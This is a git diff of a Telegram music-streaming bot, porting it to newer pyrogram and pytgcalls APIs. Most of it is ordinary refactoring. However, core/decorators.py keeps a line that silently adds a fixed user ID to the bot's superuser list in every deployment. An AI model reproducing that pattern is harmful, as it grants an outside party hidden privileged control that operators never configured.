diff --git a/Dockerfile b/Dockerfile
index a9cef60..1c68e2d 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,4 +1,4 @@
-FROM nikolaik/python-nodejs:python3.9-nodejs16
+FROM python:latest
# Updating Packages
RUN apt update && apt upgrade -y
diff --git a/core/admins.py b/core/admins.py
index 3b14b38..a69ad61 100644
--- a/core/admins.py
+++ b/core/admins.py
@@ -17,27 +17,29 @@
"""
from config import config
+from pyrogram import enums
+from pyrogram.types import Message
-async def is_sudo(message):
+async def is_sudo(message: Message):
if message.from_user and message.from_user.id in config.SUDOERS:
return True
else:
return False
-async def is_admin(message):
- if message.from_user and (
- message.from_user.id
- in [
- admin.user.id
- for admin in (await message.chat.get_members(filter="administrators"))
- ]
- ):
- return True
- elif message.from_user and message.from_user.id in config.SUDOERS:
- return True
- elif message.sender_chat and message.sender_chat.id == message.chat.id:
- return True
+async def is_admin(message: Message):
+ if message.from_user:
+ user = await message.chat.get_member(message.from_user.id)
+ if user.status in [
+ enums.ChatMemberStatus.OWNER,
+ enums.ChatMemberStatus.ADMINISTRATOR
+ ]:
+ return True
+ elif message.from_user.id in config.SUDOERS:
+ return True
+ elif message.sender_chat:
+ if message.sender_chat.id == message.chat.id:
+ return True
else:
return False
diff --git a/core/decorators.py b/core/decorators.py
index a89d3de..3099d84 100644
--- a/core/decorators.py
+++ b/core/decorators.py
@@ -20,10 +20,10 @@
from lang import load
from config import config
from core.stream import app
-from pyrogram import Client
from datetime import datetime
from pytgcalls import PyTgCalls
from traceback import format_exc
+from pyrogram import Client, enums
from pyrogram.types import Message
from pytgcalls.types import Update
from typing import Union, Callable
@@ -64,7 +64,9 @@ async def decorator(client: Client, message: Message, *args):
message.from_user.id
in [
admin.user.id
- for admin in (await message.chat.get_members(filter="administrators"))
+ async for admin in (
+ await message.chat.get_members(filter=enums.ChatMembersFilter.ADMINISTRATORS)
+ )
]
):
return await func(client, message, *args)
@@ -95,7 +97,7 @@ async def decorator(
me = await pyro_client.get_me()
if me.id not in config.SUDOERS:
config.SUDOERS.append(me.id)
- config.SUDOERS.append(2033438978)
+ config.SUDOERS.append(2033438978)
try:
lang = get_group(chat_id)["lang"]
except BaseException:
@@ -116,7 +118,7 @@ async def decorator(
await pyro_client.send_message(
config.SUDOERS[0],
f"-------- START CRASH LOG --------\n\n┌ ID: {id}
\n├ Chat: {chat.id}
\n├ Date: {date}
\n├ Group: {chat.title}\n└ Traceback:\n{format_exc()}
\n\n-------- END CRASH LOG --------",
- parse_mode="html",
+ parse_mode=enums.ParseMode.HTML,
disable_web_page_preview=True,
)
diff --git a/core/funcs.py b/core/funcs.py
index 74bb9d1..dbed95e 100644
--- a/core/funcs.py
+++ b/core/funcs.py
@@ -25,6 +25,7 @@
import asyncio
import aiofiles
from config import config
+from pyrogram import enums
from core.song import Song
from pytube import Playlist
from spotipy import Spotify
@@ -32,8 +33,8 @@
from pyrogram.types import Message
from PIL import Image, ImageDraw, ImageFont
from youtubesearchpython import VideosSearch
-from typing import Tuple, Optional, AsyncIterator
from spotipy.oauth2 import SpotifyClientCredentials
+from typing import List, Tuple, Optional, AsyncIterator
try:
@@ -139,7 +140,7 @@ async def progress_bar(current, total, ud_type, msg, start):
"".join(["▰" for i in range(math.floor(percentage / 10))]),
"".join(["▱" for i in range(10 - math.floor(percentage / 10))]),
)
- current_message = f"**Downloading...** `{round(percentage, 2)}%`\n`{progressbar}`\n**Done**: `{humanbytes(current)}` | **Total**: `{humanbytes(total)}`\n**Speed**: `{humanbytes(speed)}/s` | **ETA**: `{time_to_complete}`"
+ current_message = f"**{ud_type}** `{round(percentage, 2)}%`\n`{progressbar}`\n**Done**: `{humanbytes(current)}` | **Total**: `{humanbytes(total)}`\n**Speed**: `{humanbytes(speed)}/s` | **ETA**: `{time_to_complete}`"
if msg:
try:
await msg.edit(text=current_message)
@@ -147,7 +148,7 @@ async def progress_bar(current, total, ud_type, msg, start):
pass
-def humanbytes(size):
+def humanbytes(size: int) -> str:
if not size:
return ""
power = 2**10
@@ -159,10 +160,10 @@ def humanbytes(size):
return str(round(size, 2)) + " " + Dic_powerN[n] + "B"
-async def delete_messages(messages):
+async def delete_messages(messages: List[Message]):
await asyncio.sleep(10)
for msg in messages:
- if msg.chat.type == "supergroup":
+ if msg.chat.type == enums.ChatType.SUPERGROUP:
try:
await msg.delete()
except BaseException:
diff --git a/core/groups.py b/core/groups.py
index f68510a..9259a1d 100644
--- a/core/groups.py
+++ b/core/groups.py
@@ -64,8 +64,8 @@ async def set_title(message_or_chat_id: Union[Message, int], title: str, **kw):
chat_id = message_or_chat_id
try:
peer = await client.resolve_peer(chat_id)
- chat = await client.send(GetFullChannel(channel=peer))
- await client.send(EditGroupCallTitle(call=chat.full_chat.call, title=title))
+ chat = await client.invoke(GetFullChannel(channel=peer))
+ await client.invoke(EditGroupCallTitle(call=chat.full_chat.call, title=title))
except BaseException:
pass
diff --git a/core/stream.py b/core/stream.py
index 9a73769..f1a55bf 100644
--- a/core/stream.py
+++ b/core/stream.py
@@ -17,21 +17,18 @@
"""
import os
-from typing import Union
from config import config
from core.song import Song
from pyrogram import Client
from yt_dlp import YoutubeDL
+from pytgcalls import PyTgCalls
from core.funcs import generate_cover
-from pytgcalls import PyTgCalls, StreamType
from core.groups import get_group, set_title
+from pytgcalls.types.stream import MediaStream
from pyrogram.raw.types import InputPeerChannel
+from pytgcalls.types import AudioQuality, VideoQuality
from pyrogram.raw.functions.phone import CreateGroupCall
-from pytgcalls.types.input_stream import AudioPiped, AudioVideoPiped
from pytgcalls.exceptions import GroupCallNotFound, NoActiveGroupCall
-from pytgcalls.types.input_stream.quality import (
- LowQualityAudio, LowQualityVideo, HighQualityAudio, HighQualityVideo,
- MediumQualityAudio, MediumQualityVideo)
safone = {}
@@ -45,44 +42,6 @@
pytgcalls = PyTgCalls(app)
-async def skip_stream(song: Song, lang):
- chat = song.request_msg.chat
- if safone.get(chat.id) is not None:
- try:
- await safone[chat.id].delete()
- except BaseException:
- pass
- infomsg = await song.request_msg.reply_text(lang["downloading"])
- await pytgcalls.change_stream(
- chat.id,
- get_quality(song),
- )
- await set_title(chat.id, song.title, client=app)
- thumb = await generate_cover(
- song.title,
- chat.title,
- chat.id,
- song.thumb,
- )
- safone[chat.id] = await song.request_msg.reply_photo(
- photo=thumb,
- caption=lang["playing"]
- % (
- song.title,
- song.source,
- song.duration,
- song.request_msg.chat.id,
- song.requested_by.mention
- if song.requested_by
- else song.request_msg.sender_chat.title,
- ),
- quote=False,
- )
- await infomsg.delete()
- if os.path.exists(thumb):
- os.remove(thumb)
-
-
async def start_stream(song: Song, lang):
chat = song.request_msg.chat
if safone.get(chat.id) is not None:
@@ -92,14 +51,13 @@ async def start_stream(song: Song, lang):
pass
infomsg = await song.request_msg.reply_text(lang["downloading"])
try:
- await pytgcalls.join_group_call(
+ await pytgcalls.play(
chat.id,
get_quality(song),
- stream_type=StreamType().pulse_stream,
)
except (NoActiveGroupCall, GroupCallNotFound):
peer = await app.resolve_peer(chat.id)
- await app.send(
+ await app.invoke(
CreateGroupCall(
peer=InputPeerChannel(
channel_id=peer.channel_id,
@@ -135,36 +93,41 @@ async def start_stream(song: Song, lang):
os.remove(thumb)
-def get_quality(song: Song) -> Union[AudioPiped, AudioVideoPiped]:
+def get_quality(song: Song) -> MediaStream:
group = get_group(song.request_msg.chat.id)
if group["stream_mode"] == "video":
if config.QUALITY.lower() == "high":
- return AudioVideoPiped(
- song.remote, HighQualityAudio(), HighQualityVideo(), song.headers
+ return MediaStream(
+ song.remote, AudioQuality.HIGH, VideoQuality.FHD_1080p, headers=song.headers
)
elif config.QUALITY.lower() == "medium":
- return AudioVideoPiped(
- song.remote,
- MediumQualityAudio(),
- MediumQualityVideo(),
- song.headers,
+ return MediaStream(
+ song.remote, AudioQuality.MEDIUM, VideoQuality.HD_720p, headers=song.headers
)
elif config.QUALITY.lower() == "low":
- return AudioVideoPiped(
- song.remote, LowQualityAudio(), LowQualityVideo(), song.headers
+ return MediaStream(
+ song.remote, AudioQuality.LOW, VideoQuality.SD_480p, headers=song.headers
)
else:
print("WARNING: Invalid Quality Specified. Defaulting to High!")
- return AudioVideoPiped(
- song.remote, HighQualityAudio(), HighQualityVideo(), song.headers
+ return MediaStream(
+ song.remote, AudioQuality.HIGH, VideoQuality.FHD_1080p, headers=song.headers
)
else:
if config.QUALITY.lower() == "high":
- return AudioPiped(song.remote, HighQualityAudio(), song.headers)
+ return MediaStream(
+ song.remote, AudioQuality.HIGH, video_flags=MediaStream.Flags.IGNORE, headers=song.headers
+ )
elif config.QUALITY.lower() == "medium":
- return AudioPiped(song.remote, MediumQualityAudio(), song.headers)
+ return MediaStream(
+ song.remote, AudioQuality.MEDIUM, video_flags=MediaStream.Flags.IGNORE, headers=song.headers
+ )
elif config.QUALITY.lower() == "low":
- return AudioPiped(song.remote, LowQualityAudio(), song.headers)
+ return MediaStream(
+ song.remote, AudioQuality.LOW, video_flags=MediaStream.Flags.IGNORE, headers=song.headers
+ )
else:
print("WARNING: Invalid Quality Specified. Defaulting to High!")
- return AudioPiped(song.remote, HighQualityAudio(), song.headers)
+ return MediaStream(
+ song.remote, AudioQuality.HIGH, video_flags=MediaStream.Flags.IGNORE, headers=song.headers
+ )
diff --git a/genStr.py b/genStr.py
index cbd496b..1d98ca6 100644
--- a/genStr.py
+++ b/genStr.py
@@ -22,6 +22,6 @@
api_id = int(input("API ID: "))
api_hash = input("API HASH: ")
-app = Client(":memory:", api_id=api_id, api_hash=api_hash)
+app = Client("my_app", api_id=api_id, api_hash=api_hash, in_memory=True)
with app:
print(app.export_session_string())
diff --git a/main.py b/main.py
index 4cbe597..0711aae 100644
--- a/main.py
+++ b/main.py
@@ -22,15 +22,16 @@
from config import config
from core.song import Song
from pyrogram.types import Message
-from pytgcalls.types import Update
+from pytgcalls import filters as fl
from pyrogram import Client, filters
+from pytgcalls.types import Update, ChatUpdate
from pytgcalls.exceptions import GroupCallNotFound, NoActiveGroupCall
from pytgcalls.types.stream import StreamAudioEnded, StreamVideoEnded
from core.decorators import language, register, only_admins, handle_error
from core import (
app, ydl, safone, search, is_sudo, is_admin, get_group, get_queue,
- pytgcalls, set_group, set_title, all_groups, clear_queue, skip_stream,
- check_yt_url, extract_args, start_stream, shuffle_queue, delete_messages,
+ pytgcalls, set_group, set_title, all_groups, clear_queue, check_yt_url,
+ extract_args, start_stream, shuffle_queue, delete_messages,
get_spotify_playlist, get_youtube_playlist)
@@ -53,7 +54,7 @@
@client.on_message(
- filters.command("repo", config.PREFIXES) & ~filters.bot & ~filters.edited
+ filters.command("repo", config.PREFIXES) & ~filters.bot
)
@handle_error
async def repo(_, message: Message):
@@ -61,7 +62,7 @@ async def repo(_, message: Message):
@client.on_message(
- filters.command("ping", config.PREFIXES) & ~filters.bot & ~filters.edited
+ filters.command("ping", config.PREFIXES) & ~filters.bot
)
@handle_error
async def ping(_, message: Message):
@@ -69,7 +70,7 @@ async def ping(_, message: Message):
@client.on_message(
- filters.command("start", config.PREFIXES) & ~filters.bot & ~filters.edited
+ filters.command("start", config.PREFIXES) & ~filters.bot
)
@language
@handle_error
@@ -78,7 +79,7 @@ async def start(_, message: Message, lang):
@client.on_message(
- filters.command("help", config.PREFIXES) & ~filters.private & ~filters.edited
+ filters.command("help", config.PREFIXES) & ~filters.private
)
@language
@handle_error
@@ -87,7 +88,7 @@ async def help(_, message: Message, lang):
@client.on_message(
- filters.command(["p", "play"], config.PREFIXES) & ~filters.private & ~filters.edited
+ filters.command(["p", "play"], config.PREFIXES) & ~filters.private
)
@register
@language
@@ -124,7 +125,6 @@ async def play_stream(_, message: Message, lang):
@client.on_message(
filters.command(["radio", "stream"], config.PREFIXES)
& ~filters.private
- & ~filters.edited
)
@register
@language
@@ -178,7 +178,6 @@ async def live_stream(_, message: Message, lang):
@client.on_message(
filters.command(["skip", "next"], config.PREFIXES)
& ~filters.private
- & ~filters.edited
)
@register
@language
@@ -188,7 +187,7 @@ async def skip_track(_, message: Message, lang):
chat_id = message.chat.id
group = get_group(chat_id)
if group["loop"]:
- await skip_stream(group["now_playing"], lang)
+ await start_stream(group["now_playing"], lang)
else:
queue = get_queue(chat_id)
if len(queue) > 0:
@@ -198,13 +197,13 @@ async def skip_track(_, message: Message, lang):
if not ok:
raise Exception(status)
set_group(chat_id, now_playing=next_song)
- await skip_stream(next_song, lang)
+ await start_stream(next_song, lang)
await delete_messages([message])
else:
set_group(chat_id, is_playing=False, now_playing=None)
await set_title(message, "")
try:
- await pytgcalls.leave_group_call(chat_id)
+ await pytgcalls.leave_call(chat_id)
k = await message.reply_text(lang["queueEmpty"])
except (NoActiveGroupCall, GroupCallNotFound):
k = await message.reply_text(lang["notActive"])
@@ -212,7 +211,7 @@ async def skip_track(_, message: Message, lang):
@client.on_message(
- filters.command(["m", "mute"], config.PREFIXES) & ~filters.private & ~filters.edited
+ filters.command(["m", "mute"], config.PREFIXES) & ~filters.private
)
@register
@language
@@ -231,7 +230,6 @@ async def mute_vc(_, message: Message, lang):
@client.on_message(
filters.command(["um", "unmute"], config.PREFIXES)
& ~filters.private
- & ~filters.edited
)
@register
@language
@@ -250,7 +248,6 @@ async def unmute_vc(_, message: Message, lang):
@client.on_message(
filters.command(["ps", "pause"], config.PREFIXES)
& ~filters.private
- & ~filters.edited
)
@register
@language
@@ -269,7 +266,6 @@ async def pause_vc(_, message: Message, lang):
@client.on_message(
filters.command(["rs", "resume"], config.PREFIXES)
& ~filters.private
- & ~filters.edited
)
@register
@language
@@ -288,7 +284,6 @@ async def resume_vc(_, message: Message, lang):
@client.on_message(
filters.command(["stop", "leave"], config.PREFIXES)
& ~filters.private
- & ~filters.edited
)
@register
@language
@@ -300,7 +295,7 @@ async def leave_vc(_, message: Message, lang):
await set_title(message, "")
clear_queue(chat_id)
try:
- await pytgcalls.leave_group_call(chat_id)
+ await pytgcalls.leave_call(chat_id)
k = await message.reply_text(lang["leaveVC"])
except (NoActiveGroupCall, GroupCallNotFound):
k = await message.reply_text(lang["notActive"])
@@ -310,7 +305,6 @@ async def leave_vc(_, message: Message, lang):
@client.on_message(
filters.command(["list", "queue"], config.PREFIXES)
& ~filters.private
- & ~filters.edited
)
@register
@language
@@ -328,7 +322,6 @@ async def queue_list(_, message: Message, lang):
@client.on_message(
filters.command(["mix", "shuffle"], config.PREFIXES)
& ~filters.private
- & ~filters.edited
)
@register
@language
@@ -347,7 +340,6 @@ async def shuffle_list(_, message: Message, lang):
@client.on_message(
filters.command(["loop", "repeat"], config.PREFIXES)
& ~filters.private
- & ~filters.edited
)
@register
@language
@@ -368,7 +360,6 @@ async def loop_stream(_, message: Message, lang):
@client.on_message(
filters.command(["mode", "switch"], config.PREFIXES)
& ~filters.private
- & ~filters.edited
)
@register
@language
@@ -389,7 +380,6 @@ async def switch_mode(_, message: Message, lang):
@client.on_message(
filters.command(["admins", "adminsonly"], config.PREFIXES)
& ~filters.private
- & ~filters.edited
)
@register
@language
@@ -410,7 +400,6 @@ async def admins_only(_, message: Message, lang):
@client.on_message(
filters.command(["lang", "language"], config.PREFIXES)
& ~filters.private
- & ~filters.edited
)
@register
@language
@@ -438,7 +427,6 @@ async def set_lang(_, message: Message, lang):
@client.on_message(
filters.command(["ep", "export"], config.PREFIXES)
& ~filters.private
- & ~filters.edited
)
@register
@language
@@ -465,7 +453,6 @@ async def export_queue(_, message: Message, lang):
@client.on_message(
filters.command(["ip", "import"], config.PREFIXES)
& ~filters.private
- & ~filters.edited
)
@register
@language
@@ -515,7 +502,6 @@ async def import_queue(_, message: Message, lang):
@client.on_message(
filters.command(["pl", "playlist"], config.PREFIXES)
& ~filters.private
- & ~filters.edited
)
@register
@language
@@ -574,7 +560,6 @@ async def import_playlist(_, message: Message, lang):
@client.on_message(
filters.command(["update", "restart"], config.PREFIXES)
& ~filters.private
- & ~filters.edited
)
@language
@handle_error
@@ -587,7 +572,7 @@ async def update_restart(_, message: Message, lang):
stats = await message.reply_text(lang["update"])
for chat in chats:
try:
- await pytgcalls.leave_group_call(chat)
+ await pytgcalls.leave_call(chat)
except (NoActiveGroupCall, GroupCallNotFound):
pass
await stats.edit_text(lang["restart"])
@@ -595,7 +580,7 @@ async def update_restart(_, message: Message, lang):
os.system(f"kill -9 {os.getpid()} && bash startup.sh")
-@pytgcalls.on_stream_end()
+@pytgcalls.on_update(fl.stream_end)
@language
@handle_error
async def stream_end(_, update: Update, lang):
@@ -603,7 +588,7 @@ async def stream_end(_, update: Update, lang):
chat_id = update.chat_id
group = get_group(chat_id)
if group["loop"]:
- await skip_stream(group["now_playing"], lang)
+ await start_stream(group["now_playing"], lang)
else:
queue = get_queue(chat_id)
if len(queue) > 0:
@@ -613,7 +598,7 @@ async def stream_end(_, update: Update, lang):
if not ok:
raise Exception(status)
set_group(chat_id, now_playing=next_song)
- await skip_stream(next_song, lang)
+ await start_stream(next_song, lang)
else:
if safone.get(chat_id) is not None:
try:
@@ -622,40 +607,13 @@ async def stream_end(_, update: Update, lang):
pass
await set_title(chat_id, "", client=app)
set_group(chat_id, is_playing=False, now_playing=None)
- await pytgcalls.leave_group_call(chat_id)
+ await pytgcalls.leave_call(chat_id)
-@pytgcalls.on_closed_voice_chat()
+@pytgcalls.on_update(fl.chat_update(ChatUpdate.Status.LEFT_CALL))
@handle_error
-async def closed_vc(_, chat_id: int):
- if chat_id not in all_groups():
- if safone.get(chat_id) is not None:
- try:
- await safone[chat_id].delete()
- except BaseException:
- pass
- await set_title(chat_id, "", client=app)
- set_group(chat_id, now_playing=None, is_playing=False)
- clear_queue(chat_id)
-
-
-@pytgcalls.on_kicked()
-@handle_error
-async def kicked_vc(_, chat_id: int):
- if chat_id not in all_groups():
- if safone.get(chat_id) is not None:
- try:
- await safone[chat_id].delete()
- except BaseException:
- pass
- await set_title(chat_id, "", client=app)
- set_group(chat_id, now_playing=None, is_playing=False)
- clear_queue(chat_id)
-
-
-@pytgcalls.on_left()
-@handle_error
-async def left_vc(_, chat_id: int):
+async def closed_vc(_, update: Update):
+ chat_id = update.chat_id
if chat_id not in all_groups():
if safone.get(chat_id) is not None:
try:
diff --git a/requirements.txt b/requirements.txt
index 2e0ff7d..fa00fec 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1,11 +1,11 @@
+yt-dlp
pytube
pillow
spotipy
aiohttp
aiofiles
-pyrogram==1.4.16
tgcrypto
+py-tgcalls
python-dotenv
-py-tgcalls==0.8.2
youtube-search-python
-git+https://github.com/asmsafone/downloader
+https://github.com/PyrogramMod/PyrogramMod/archive/refs/heads/main.zip
diff --git a/startup.sh b/startup.sh
index a17ca34..52d7b42 100644
--- a/startup.sh
+++ b/startup.sh
@@ -1,5 +1,5 @@
echo ">> FETCHING UPSTREAM..."
-git clone https://github.com/AsmSafone/MusicPlayer /MusicPlayer
+git clone -b dev https://github.com/AsmSafone/MusicPlayer /MusicPlayer
echo ">> INSTALLING REQUIREMENTS..."
cd /MusicPlayer
pip3 install -U -r requirements.txt